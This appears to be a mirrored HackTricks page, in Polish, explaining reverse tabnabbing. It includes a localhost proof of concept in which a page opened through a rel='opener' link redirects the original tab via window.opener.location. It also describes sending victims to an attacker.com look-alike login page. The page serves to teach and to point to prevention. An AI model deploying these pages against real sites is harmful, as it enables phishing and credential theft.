mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
82 lines
4.4 KiB
Markdown
82 lines
4.4 KiB
Markdown
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
# Opis
|
|
|
|
W sytuacji, w której **atakujący** może **kontrolować** argument **`href`** tagu **`<a`** z atrybutem **`target="_blank" rel="opener"`**, który ma zostać kliknięty przez ofiarę, **atakujący** **wskazuje** ten **link** na stronę internetową pod swoją kontrolą (**złośliwa** **strona**). Następnie, gdy **ofiara kliknie** link i uzyska dostęp do strony atakującego, ta **złośliwa** **strona** będzie mogła **kontrolować** **oryginalną** **stronę** za pomocą obiektu javascript **`window.opener`**.\
|
|
Jeśli strona nie ma **`rel="opener"`**, ale zawiera `target="_blank"` i nie ma `rel="noopener"**, może być również podatna.
|
|
|
|
Zwykłym sposobem na nadużycie tego zachowania byłoby **zmiana lokalizacji oryginalnej strony** za pomocą `window.opener.location = https://attacker.com/victim.html` na stronę kontrolowaną przez atakującego, która **wygląda jak oryginalna**, aby mogła **imitować** **formularz logowania** oryginalnej strony internetowej i prosić użytkownika o dane logowania.
|
|
|
|
Należy jednak zauważyć, że ponieważ **atakujący teraz może kontrolować obiekt okna oryginalnej strony internetowej**, może go nadużywać na inne sposoby, aby przeprowadzać **bardziej ukryte ataki** (może modyfikując zdarzenia javascript, aby wykradać informacje na serwer kontrolowany przez niego?)
|
|
|
|
# Przegląd
|
|
|
|
## Z linkiem zwrotnym
|
|
|
|
Link między stronami nadrzędnymi a podrzędnymi, gdy atrybut zapobiegający nie jest używany:
|
|
|
|

|
|
|
|
## Bez linku zwrotnego
|
|
|
|
Link między stronami nadrzędnymi a podrzędnymi, gdy atrybut zapobiegający jest używany:
|
|
|
|

|
|
|
|
## Przykłady <a href="#examples" id="examples"></a>
|
|
|
|
Utwórz następujące strony w folderze i uruchom serwer webowy za pomocą `python3 -m http.server`\
|
|
Następnie **uzyskaj dostęp** do `http://127.0.0.1:8000/`vulnerable.html, **kliknij** na link i zauważ, jak **oryginalny** **adres URL** **strony** **się zmienia**.
|
|
```html:vulnerable.html
|
|
<!DOCTYPE html>
|
|
<html>
|
|
<body>
|
|
<h1>Victim Site</h1>
|
|
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
|
|
</body>
|
|
</html>
|
|
```
|
|
|
|
```html:malicious.html
|
|
<!DOCTYPE html>
|
|
<html>
|
|
<body>
|
|
<script>
|
|
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
|
|
</script>
|
|
</body>
|
|
</html>
|
|
```
|
|
|
|
```html:malicious_redir.html
|
|
<!DOCTYPE html>
|
|
<html>
|
|
<body>
|
|
<h1>New Malicious Site</h1>
|
|
</body>
|
|
</html>
|
|
```
|
|
## Dostępne właściwości <a href="#accessible-properties" id="accessible-properties"></a>
|
|
|
|
W scenariuszu, w którym występuje **cross-origin** (dostęp między różnymi domenami), właściwości instancji klasy JavaScript **window**, do której odnosi się obiekt JavaScript **opener**, które mogą być dostępne dla złośliwej witryny, są ograniczone do następujących:
|
|
|
|
- **`opener.closed`**: Ta właściwość jest używana do określenia, czy okno zostało zamknięte, zwracając wartość boolean.
|
|
- **`opener.frames`**: Ta właściwość zapewnia dostęp do wszystkich elementów iframe w bieżącym oknie.
|
|
- **`opener.length`**: Liczba elementów iframe obecnych w bieżącym oknie jest zwracana przez tę właściwość.
|
|
- **`opener.opener`**: Referencja do okna, które otworzyło bieżące okno, może być uzyskana za pomocą tej właściwości.
|
|
- **`opener.parent`**: Ta właściwość zwraca okno nadrzędne bieżącego okna.
|
|
- **`opener.self`**: Ta właściwość zapewnia dostęp do samego bieżącego okna.
|
|
- **`opener.top`**: Ta właściwość zwraca najwyższe okno przeglądarki.
|
|
|
|
Jednak w przypadkach, gdy domeny są identyczne, złośliwa witryna uzyskuje dostęp do wszystkich właściwości udostępnionych przez obiekt JavaScript [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window).
|
|
|
|
# Zapobieganie
|
|
|
|
Informacje o zapobieganiu są udokumentowane w [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#tabnabbing).
|
|
|
|
## Odniesienia
|
|
|
|
- [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|